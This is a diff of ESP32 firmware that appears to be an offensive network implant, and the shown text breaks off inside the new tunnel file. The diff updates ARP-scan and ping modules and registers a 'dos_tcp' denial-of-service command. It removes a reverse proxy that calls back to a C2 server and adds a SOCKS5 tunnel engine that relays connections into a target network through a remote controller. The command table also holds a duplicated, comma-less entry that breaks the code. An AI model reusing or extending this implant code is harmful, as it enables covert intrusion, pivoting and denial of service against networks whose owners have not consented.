* REGISTER COMMANDS
* ============================================================ */
static const command_t network_cmds[] = {
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
{ "proxy_start", NULL, NULL, 2, 2, cmd_proxy_start, NULL, true },
{ "proxy_stop", NULL, NULL, 0, 0, cmd_proxy_stop, NULL, false },
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true }
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true },
#ifdef CONFIG_MODULE_TUNNEL
{ "tun_start", NULL, "Start tunnel: tun_start <ip> <port>", 2, 2, cmd_tun_start, NULL, true },
{ "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false },
{ "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false },
#endif
};
void mod_network_register_commands(void)
{
for (size_t i = 0;

View File

@ -5,156 +5,158 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_netif.h"
#include "esp_netif_net_stack.h"
#include "lwip/ip4_addr.h"
#include "lwip/etharp.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "utils.h"
#define TAG "ARP_SCAN"
#define ARP_TIMEOUT_MS 5000
#define ARP_BATCH_SIZE 5
/* ============================================================
* Helpers
* ============================================================ */
/* Convert little/big endian safely */
static uint32_t swap_u32(uint32_t v)
{
return ((v & 0xFF000000U) >> 24) |
((v & 0x00FF0000U) >> 8) |
((v & 0x0000FF00U) << 8) |
((v & 0x000000FFU) << 24);
}
static void next_ip(esp_ip4_addr_t *ip)
{
esp_ip4_addr_t tmp;
tmp.addr = swap_u32(ip->addr);
tmp.addr++;
ip->addr = swap_u32(tmp.addr);
}
/* ============================================================
* ARP scan task
* ============================================================ */
void arp_scan_task(void *pvParameters)
{
(void)pvParameters;
msg_info(TAG, "ARP scan started", NULL);
esp_netif_t *netif_handle =
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
if (!netif_handle) {
msg_error(TAG, "wifi netif not found", NULL);
vTaskDelete(NULL);
return;
}
struct netif *lwip_netif =
esp_netif_get_netif_impl(netif_handle);
if (!lwip_netif) {
msg_error(TAG, "lwIP netif not found", NULL);
vTaskDelete(NULL);
return;
}
esp_netif_ip_info_t ip_info;
esp_netif_get_ip_info(netif_handle, &ip_info);
/* Compute network range */
esp_ip4_addr_t start_ip;
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
esp_ip4_addr_t end_ip;
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
esp_ip4_addr_t cur_ip = start_ip;
char ip_str[IP4ADDR_STRLEN_MAX];
char json[128];
while (cur_ip.addr != end_ip.addr) {
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
int batch_count = 0;
/* Send ARP requests */
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
next_ip(&cur_ip);
if (cur_ip.addr == end_ip.addr)
break;
etharp_request(
lwip_netif,
(const ip4_addr_t *)&cur_ip
);
batch[batch_count++] = cur_ip;
}
/* Wait for replies */
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
/* Collect results */
for (int i = 0; i < batch_count; i++) {
struct eth_addr *mac = NULL;
const ip4_addr_t *ip_ret = NULL;
if (etharp_find_addr(
lwip_netif,
(const ip4_addr_t *)&batch[i],
&mac,
&ip_ret
) == ERR_OK && mac) {
esp_ip4addr_ntoa(
&batch[i],
ip_str,
sizeof(ip_str)
);
int len = snprintf(
json,
sizeof(json),
"{"
"\"ip\":\"%s\","
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
"}",
ip_str,
mac->addr[0], mac->addr[1], mac->addr[2],
mac->addr[3], mac->addr[4], mac->addr[5]
);
if (len > 0) {
/* 1 host = 1 streamed event */
msg_data(
TAG,
json,
len,
false, /* eof */
NULL
);
}
}
}
}
msg_info(TAG, "ARP scan completed", NULL);
/* End of stream */
msg_data(TAG, NULL, 0, true, NULL);
vTaskDelete(NULL);
}
#define ARP_TIMEOUT_MS 1500
#define ARP_BATCH_SIZE 16
/* ============================================================
* Helpers
* ============================================================ */
/* Convert little/big endian safely */
static uint32_t swap_u32(uint32_t v)
{
return ((v & 0xFF000000U) >> 24) |
((v & 0x00FF0000U) >> 8) |
((v & 0x0000FF00U) << 8) |
((v & 0x000000FFU) << 24);
}
static void next_ip(esp_ip4_addr_t *ip)
{
esp_ip4_addr_t tmp;
tmp.addr = swap_u32(ip->addr);
tmp.addr++;
ip->addr = swap_u32(tmp.addr);
}
/* ============================================================
* ARP scan task
* pvParameters = heap-allocated request_id string (or NULL)
* ============================================================ */
void arp_scan_task(void *pvParameters)
{
char *req = (char *)pvParameters;
ESP_LOGI(TAG, "ARP scan started (req=%s)", req ? req : "none");
esp_netif_t *netif_handle =
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
if (!netif_handle) {
msg_error(TAG, "wifi netif not found", req);
free(req);
vTaskDelete(NULL);
return;
}
struct netif *lwip_netif =
esp_netif_get_netif_impl(netif_handle);
if (!lwip_netif) {
msg_error(TAG, "lwIP netif not found", req);
free(req);
vTaskDelete(NULL);
return;
}
esp_netif_ip_info_t ip_info;
esp_netif_get_ip_info(netif_handle, &ip_info);
/* Compute network range */
esp_ip4_addr_t start_ip;
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
esp_ip4_addr_t end_ip;
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
esp_ip4_addr_t cur_ip = start_ip;
char ip_str[IP4ADDR_STRLEN_MAX];
char json[128];
while (cur_ip.addr != end_ip.addr) {
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
int batch_count = 0;
/* Send ARP requests */
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
next_ip(&cur_ip);
if (cur_ip.addr == end_ip.addr)
break;
etharp_request(
lwip_netif,
(const ip4_addr_t *)&cur_ip
);
batch[batch_count++] = cur_ip;
}
/* Wait for replies */
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
/* Collect results */
for (int i = 0; i < batch_count; i++) {
struct eth_addr *mac = NULL;
const ip4_addr_t *ip_ret = NULL;
if (etharp_find_addr(
lwip_netif,
(const ip4_addr_t *)&batch[i],
&mac,
&ip_ret
) >= 0 && mac) {
esp_ip4addr_ntoa(
&batch[i],
ip_str,
sizeof(ip_str)
);
int len = snprintf(
json,
sizeof(json),
"{"
"\"ip\":\"%s\","
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
"}",
ip_str,
mac->addr[0], mac->addr[1], mac->addr[2],
mac->addr[3], mac->addr[4], mac->addr[5]
);
if (len > 0) {
msg_data(
TAG,
json,
len,
false,
req
);
}
}
}
}
/* Final message closes the stream (eof=true) */
const char *done = "ARP scan completed";
msg_data(TAG, done, strlen(done), true, req);
free(req);
vTaskDelete(NULL);
}

View File

@ -6,177 +6,192 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "lwip/inet.h"
#include "lwip/netdb.h"
#include "esp_log.h"
#include "ping/ping_sock.h"
#include "utils.h"
#define TAG "PING"
static char line[256];
/* ============================================================
* Ping callbacks
* ============================================================ */
static void ping_on_success(esp_ping_handle_t hdl, void *args)
{
(void)args;
uint8_t ttl;
uint16_t seq;
uint32_t time_ms, size;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
(unsigned long)size,
ipaddr_ntoa(&addr),
seq,
ttl,
(unsigned long)time_ms
);
if (len > 0) {
msg_data(TAG, line, len, false, NULL);
}
}
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
{
(void)args;
uint16_t seq;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"From %s: icmp_seq=%u timeout",
ipaddr_ntoa(&addr),
seq
);
if (len > 0) {
msg_data(TAG, line, len, false, NULL);
}
}
static void ping_on_end(esp_ping_handle_t hdl, void *args)
{
(void)args;
uint32_t sent, recv, duration;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
int len = snprintf(line, sizeof(line),
"--- %s ping statistics ---\n"
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
ipaddr_ntoa(&addr),
(unsigned long)sent,
(unsigned long)recv,
loss,
(unsigned long)duration
);
if (len > 0) {
/* Final summary, end of stream */
msg_data(TAG, line, len, true, NULL);
}
esp_ping_delete_session(hdl);
}
/* ============================================================
* Command entry point (used by network command wrapper)
* ============================================================ */
int do_ping_cmd(int argc, char **argv)
{
if (argc < 2) {
msg_error(TAG,
"usage: ping <host> [timeout interval size count ttl iface]",
NULL);
return -1;
}
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
cfg.count = 4;
cfg.timeout_ms = 1000;
const char *host = argv[1];
/* Optional arguments */
if (argc > 2) cfg.timeout_ms = atoi(argv[2]) * 1000;
if (argc > 3) cfg.interval_ms = (uint32_t)(atof(argv[3]) * 1000);
if (argc > 4) cfg.data_size = atoi(argv[4]);
if (argc > 5) cfg.count = atoi(argv[5]);
if (argc > 6) cfg.tos = atoi(argv[6]);
if (argc > 7) cfg.ttl = atoi(argv[7]);
/* Resolve host */
ip_addr_t target;
memset(&target, 0, sizeof(target));
if (!ipaddr_aton(host, &target)) {
struct addrinfo *res = NULL;
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
msg_error(TAG, "unknown host", NULL);
return -1;
}
#ifdef CONFIG_LWIP_IPV4
if (res->ai_family == AF_INET) {
inet_addr_to_ip4addr(
ip_2_ip4(&target),
&((struct sockaddr_in *)res->ai_addr)->sin_addr
);
}
#endif
#ifdef CONFIG_LWIP_IPV6
if (res->ai_family == AF_INET6) {
inet6_addr_to_ip6addr(
ip_2_ip6(&target),
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
);
}
#endif
freeaddrinfo(res);
}
cfg.target_addr = target;
esp_ping_callbacks_t cbs = {
.on_ping_success = ping_on_success,
.on_ping_timeout = ping_on_timeout,
.on_ping_end = ping_on_end
};
esp_ping_handle_t ping;
esp_ping_new_session(&cfg, &cbs, &ping);
esp_ping_start(ping);
return 0;
}
#include "utils.h"
#define TAG "PING"
/* Context passed to ping callbacks via cb_args */
typedef struct {
char req[64]; /* request_id copy (empty string if none) */
} ping_ctx_t;
/* ============================================================
* Ping callbacks
* ============================================================ */
static void ping_on_success(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
char line[256];
uint8_t ttl;
uint16_t seq;
uint32_t time_ms, size;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
(unsigned long)size,
ipaddr_ntoa(&addr),
seq,
ttl,
(unsigned long)time_ms
);
if (len > 0) {
msg_data(TAG, line, len, false, req);
}
}
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
char line[256];
uint16_t seq;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"From %s: icmp_seq=%u timeout",
ipaddr_ntoa(&addr),
seq
);
if (len > 0) {
msg_data(TAG, line, len, false, req);
}
}
static void ping_on_end(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
uint32_t sent, recv, duration;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
char line[256];
int len = snprintf(line, sizeof(line),
"--- %s ping statistics ---\n"
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
ipaddr_ntoa(&addr),
(unsigned long)sent,
(unsigned long)recv,
loss,
(unsigned long)duration
);
if (len > 0) {
msg_data(TAG, line, len, true, req);
}
esp_ping_delete_session(hdl);
free(ctx);
}
/* ============================================================
* Command entry point
* ============================================================ */
int do_ping_cmd(int argc, char **argv, const char *req)
{
if (argc < 1) {
msg_error(TAG,
"usage: ping <host> [timeout interval size count ttl iface]",
req);
return -1;
}
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
cfg.count = 4;
cfg.timeout_ms = 1000;
cfg.task_stack_size = 8192; /* default 2048 too small for msg_data→protobuf stack */
const char *host = argv[0];
/* Optional arguments */
if (argc > 1) cfg.timeout_ms = atoi(argv[1]) * 1000;
if (argc > 2) cfg.interval_ms = (uint32_t)(atof(argv[2]) * 1000);
if (argc > 3) cfg.data_size = atoi(argv[3]);
if (argc > 4) cfg.count = atoi(argv[4]);
if (argc > 5) cfg.tos = atoi(argv[5]);
if (argc > 6) cfg.ttl = atoi(argv[6]);
/* Resolve host */
ip_addr_t target;
memset(&target, 0, sizeof(target));
if (!ipaddr_aton(host, &target)) {
struct addrinfo *res = NULL;
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
msg_error(TAG, "unknown host", req);
return -1;
}
#ifdef CONFIG_LWIP_IPV4
if (res->ai_family == AF_INET) {
inet_addr_to_ip4addr(
ip_2_ip4(&target),
&((struct sockaddr_in *)res->ai_addr)->sin_addr
);
}
#endif
#ifdef CONFIG_LWIP_IPV6
if (res->ai_family == AF_INET6) {
inet6_addr_to_ip6addr(
ip_2_ip6(&target),
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
);
}
#endif
freeaddrinfo(res);
}
cfg.target_addr = target;
/* Heap-allocate context for callbacks (freed in ping_on_end) */
ping_ctx_t *ctx = calloc(1, sizeof(ping_ctx_t));
if (ctx && req) {
snprintf(ctx->req, sizeof(ctx->req), "%s", req);
}
esp_ping_callbacks_t cbs = {
.on_ping_success = ping_on_success,
.on_ping_timeout = ping_on_timeout,
.on_ping_end = ping_on_end,
.cb_args = ctx
};
esp_ping_handle_t ping;
esp_ping_new_session(&cfg, &cbs, &ping);
esp_ping_start(ping);
return 0;
}

View File

@ -1,200 +0,0 @@
/*
* Eun0us - Reverse TCP Proxy Module
* Clean & stream-based implementation
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "utils.h"
#define TAG "PROXY"
#define MAX_PROXY_RETRY 10
#define RETRY_DELAY_MS 5000
#define CMD_BUF_SIZE 256
#define RX_BUF_SIZE 1024
int proxy_running = 0;
static int cc_client = -1;
/* ============================================================
* Helpers
* ============================================================ */
/* Replace escaped \r \n */
static void unescape_payload(const char *src, char *dst, size_t max_len)
{
size_t i = 0, j = 0;
while (src[i] && j < max_len - 1) {
if (src[i] == '\\' && src[i + 1] == 'r') {
dst[j++] = '\r';
i += 2;
} else if (src[i] == '\\' && src[i + 1] == 'n') {
dst[j++] = '\n';
i += 2;
} else {
dst[j++] = src[i++];
}
}
dst[j] = '\0';
}
/* ============================================================
* Proxy command handler task
* ============================================================ */
static void proxy_task(void *arg)
{
(void)arg;
char cmd[CMD_BUF_SIZE];
msg_info(TAG, "proxy handler started", NULL);
while (proxy_running) {
int len = recv(cc_client, cmd, sizeof(cmd) - 1, 0);
if (len <= 0) {
msg_error(TAG, "connection closed", NULL);
break;
}
cmd[len] = '\0';
/* Format: ip:port|payload */
char *sep_ip = strchr(cmd, ':');
char *sep_pay = strchr(cmd, '|');
if (!sep_ip || !sep_pay || sep_pay <= sep_ip) {
msg_error(TAG, "invalid command format", NULL);
continue;
}
/* Extract IP */
char ip[64];
size_t ip_len = sep_ip - cmd;
if (ip_len >= sizeof(ip)) {
msg_error(TAG, "ip too long", NULL);
continue;
}
memcpy(ip, cmd, ip_len);
ip[ip_len] = '\0';
/* Extract port */
int port = atoi(sep_ip + 1);
if (port <= 0 || port > 65535) {
msg_error(TAG, "invalid port", NULL);
continue;
}
const char *payload_escaped = sep_pay + 1;
char info_msg[96];
snprintf(info_msg, sizeof(info_msg),
"proxying to %s:%d", ip, port);
msg_info(TAG, info_msg, NULL);
/* Destination socket */
int dst = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (dst < 0) {
msg_error(TAG, "socket failed", NULL);
continue;
}
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = inet_addr(ip),
};
struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 };
setsockopt(dst, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
setsockopt(dst, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
if (connect(dst, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
msg_error(TAG, "connect failed", NULL);
close(dst);
continue;
}
/* Send payload */
char payload[RX_BUF_SIZE];
unescape_payload(payload_escaped, payload, sizeof(payload));
send(dst, payload, strlen(payload), 0);
/* Receive response (stream) */
char rx[RX_BUF_SIZE];
while ((len = recv(dst, rx, sizeof(rx), 0)) > 0) {
msg_data(TAG, rx, len, false, NULL);
}
/* End of stream */
msg_data(TAG, NULL, 0, true, NULL);
close(dst);
}
close(cc_client);
cc_client = -1;
proxy_running = 0;
msg_info(TAG, "proxy stopped", NULL);
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void init_proxy(char *ip, int port)
{
struct sockaddr_in server = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = inet_addr(ip),
};
for (int retry = 0; retry < MAX_PROXY_RETRY; retry++) {
cc_client = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (cc_client < 0) {
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
continue;
}
msg_info(TAG, "connecting to C2...", NULL);
if (connect(cc_client,
(struct sockaddr *)&server,
sizeof(server)) == 0) {
proxy_running = 1;
xTaskCreate(
proxy_task,
"proxy_task",
8192,
NULL,
5,
NULL
);
return;
}
close(cc_client);
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
}
msg_error(TAG, "unable to connect to C2", NULL);
}

View File

@ -1,3 +1,5 @@
#pragma once
#include <stdint.h>
// dos.c
void start_dos(const char *t_ip, uint16_t t_port, int turn);
@ -6,7 +8,4 @@ void start_dos(const char *t_ip, uint16_t t_port, int turn);
void arp_scan_task(void *pvParameters);
// ping.c
int do_ping_cmd(int argc, char **argv);
// proxy.c
void init_proxy(char *ip, int port);
int do_ping_cmd(int argc, char **argv, const char *req);

View File

@ -0,0 +1,795 @@
/*
* tun_core.c SOCKS5 Tunnel Engine
* Multiplexed binary-framed TCP proxy via C3PO.
* Replaces the old mod_proxy single-shot relay.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_random.h"
#include "utils.h"
#include "tun_core.h"
#define TAG "TUNNEL"
/* ============================================================
* Global state
* ============================================================ */
static tun_state_t g_tun = {
.running = false,
.encrypted = false,
.c3po_sock = -1,
.rx_buf_len = 0,
.task_handle = NULL,
.last_ping_tick = 0,
};
/* ============================================================
* Socket helpers
* ============================================================ */
static bool send_all(int sock, const void *buf, size_t len)
{
const uint8_t *p = (const uint8_t *)buf;
while (len > 0) {
int sent = send(sock, p, len, 0);
if (sent <= 0) return false;
p += sent;
len -= sent;
}
return true;
}
static int recv_exact(int sock, void *buf, size_t len, int timeout_s)
{
struct timeval tv = { .tv_sec = timeout_s, .tv_usec = 0 };
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
uint8_t *p = (uint8_t *)buf;
size_t remaining = len;
while (remaining > 0) {
int n = recv(sock, p, remaining, 0);
if (n <= 0) return -1;
p += n;
remaining -= n;
}
return (int)len;
}
static bool set_nonblocking(int sock)
{
int flags = fcntl(sock, F_GETFL, 0);
if (flags < 0) return false;
return fcntl(sock, F_SETFL, flags | O_NONBLOCK) == 0;
}
/* ============================================================
* Frame I/O
* ============================================================ */
static bool tun_send_frame(uint16_t chan_id, tun_frame_type_t type,
const uint8_t *data, uint16_t data_len)
{
if (g_tun.c3po_sock < 0) return false;
uint8_t hdr[TUN_FRAME_HDR_SIZE];
hdr[0] = (chan_id >> 8) & 0xFF;
hdr[1] = chan_id & 0xFF;
hdr[2] = (uint8_t)type;
hdr[3] = (data_len >> 8) & 0xFF;
hdr[4] = data_len & 0xFF;
#ifdef CONFIG_TUNNEL_ENCRYPT
if (g_tun.encrypted) {
/* Assemble plaintext frame */
uint8_t plain[TUN_FRAME_MAX_PLAIN];
memcpy(plain, hdr, TUN_FRAME_HDR_SIZE);
if (data && data_len > 0) {
memcpy(plain + TUN_FRAME_HDR_SIZE, data, data_len);
}
size_t plain_len = TUN_FRAME_HDR_SIZE + data_len;
/* Encrypt: nonce[12] || ciphertext || tag[16] */
uint8_t enc[TUN_FRAME_MAX_ENC];
int enc_len = crypto_encrypt(plain, plain_len,
enc + 2, sizeof(enc) - 2);
if (enc_len < 0) {
ESP_LOGE(TAG, "frame encrypt failed");
return false;
}
/* Prepend 2-byte length */
enc[0] = (enc_len >> 8) & 0xFF;
enc[1] = enc_len & 0xFF;
return send_all(g_tun.c3po_sock, enc, 2 + enc_len);
}
#endif
/* Plaintext: header + data */
if (!send_all(g_tun.c3po_sock, hdr, TUN_FRAME_HDR_SIZE))
return false;
if (data && data_len > 0) {
if (!send_all(g_tun.c3po_sock, data, data_len))
return false;
}
return true;
}
/* Returns 0 on success, -1 on error, 1 if no complete frame yet */
static int tun_read_frame(uint16_t *out_chan, tun_frame_type_t *out_type,
uint8_t *out_data, uint16_t *out_len)
{
#ifdef CONFIG_TUNNEL_ENCRYPT
if (g_tun.encrypted) {
/* Need at least 2 bytes for length prefix */
if (g_tun.rx_buf_len < 2) return 1;
uint16_t enc_len = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
if (enc_len > TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) return -1;
size_t total = 2 + enc_len;
if (g_tun.rx_buf_len < total) return 1;
/* Decrypt */
uint8_t plain[TUN_FRAME_MAX_PLAIN];
int plain_len = crypto_decrypt(g_tun.rx_buf + 2, enc_len,
plain, sizeof(plain));
if (plain_len < TUN_FRAME_HDR_SIZE) {
/* Consume and discard bad frame */
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return -1;
}
*out_chan = ((uint16_t)plain[0] << 8) | plain[1];
*out_type = (tun_frame_type_t)plain[2];
*out_len = ((uint16_t)plain[3] << 8) | plain[4];
if (*out_len > (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE))
*out_len = (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE);
if (*out_len > 0)
memcpy(out_data, plain + TUN_FRAME_HDR_SIZE, *out_len);
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return 0;
}
#endif
/* Plaintext: need at least 5-byte header */
if (g_tun.rx_buf_len < TUN_FRAME_HDR_SIZE) return 1;
*out_chan = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
*out_type = (tun_frame_type_t)g_tun.rx_buf[2];
*out_len = ((uint16_t)g_tun.rx_buf[3] << 8) | g_tun.rx_buf[4];
if (*out_len > TUN_FRAME_MAX_DATA) return -1;
size_t total = TUN_FRAME_HDR_SIZE + *out_len;
if (g_tun.rx_buf_len < total) return 1;
if (*out_len > 0)
memcpy(out_data, g_tun.rx_buf + TUN_FRAME_HDR_SIZE, *out_len);
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return 0;
}
/* ============================================================
* Channel management
* ============================================================ */
static tun_channel_t *chan_get(uint16_t id)
{
if (id == 0 || id > TUN_MAX_CHANNELS) return NULL;
return &g_tun.channels[id - 1];
}
static void chan_close(uint16_t id, uint8_t reason)
{
tun_channel_t *ch = chan_get(id);
if (!ch || ch->state == CHAN_FREE) return;
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
/* Notify C3PO */
tun_send_frame(id, TUN_FRAME_CLOSE, &reason, 1);
ESP_LOGI(TAG, "chan %u closed (reason=%u tx=%"PRIu32" rx=%"PRIu32")",
id, reason, ch->bytes_tx, ch->bytes_rx);
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
static void chan_close_all(void)
{
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (ch && ch->state != CHAN_FREE) {
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
}
}
static void chan_send_error(uint16_t id, const char *msg)
{
tun_send_frame(id, TUN_FRAME_ERROR,
(const uint8_t *)msg, (uint16_t)strlen(msg));
}
/* ============================================================
* Frame handlers
* ============================================================ */
/* OPEN payload: [IPv4:4][port:2][domain_len:1][domain:0-255] */
static void tun_handle_open(uint16_t chan_id, const uint8_t *data, uint16_t len)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch) {
chan_send_error(chan_id, "invalid channel id");
return;
}
if (ch->state != CHAN_FREE) {
chan_send_error(chan_id, "channel in use");
return;
}
if (len < 7) {
chan_send_error(chan_id, "OPEN too short");
return;
}
/* Parse target address */
uint32_t ipv4_raw;
memcpy(&ipv4_raw, data, 4);
uint16_t port = ((uint16_t)data[4] << 8) | data[5];
uint8_t domain_len = data[6];
struct sockaddr_in target = {
.sin_family = AF_INET,
.sin_port = htons(port),
};
/* Try domain resolution first (ESP32-side, sees target network DNS) */
if (domain_len > 0 && len >= (uint16_t)(7 + domain_len)) {
char domain[256];
memcpy(domain, data + 7, domain_len);
domain[domain_len] = '\0';
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
struct addrinfo *result = NULL;
ESP_LOGD(TAG, "chan %u resolving %s", chan_id, domain);
if (getaddrinfo(domain, NULL, &hints, &result) == 0 && result) {
struct sockaddr_in *addr = (struct sockaddr_in *)result->ai_addr;
target.sin_addr = addr->sin_addr;
freeaddrinfo(result);
} else {
if (result) freeaddrinfo(result);
/* Fallback to provided IPv4 */
target.sin_addr.s_addr = ipv4_raw;
}
} else {
target.sin_addr.s_addr = ipv4_raw;
}
/* Create socket and start non-blocking connect */
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s < 0) {
chan_send_error(chan_id, "socket() failed");
return;
}
/* Set connect timeout */
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
char ip_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &target.sin_addr, ip_str, sizeof(ip_str));
ESP_LOGI(TAG, "chan %u connecting to %s:%u", chan_id, ip_str, port);
if (connect(s, (struct sockaddr *)&target, sizeof(target)) != 0) {
ESP_LOGW(TAG, "chan %u connect failed: %s", chan_id, strerror(errno));
close(s);
chan_send_error(chan_id, "connect failed");
return;
}
/* Set non-blocking after connect succeeds */
set_nonblocking(s);
ch->sock = s;
ch->state = CHAN_OPEN;
ch->bytes_tx = 0;
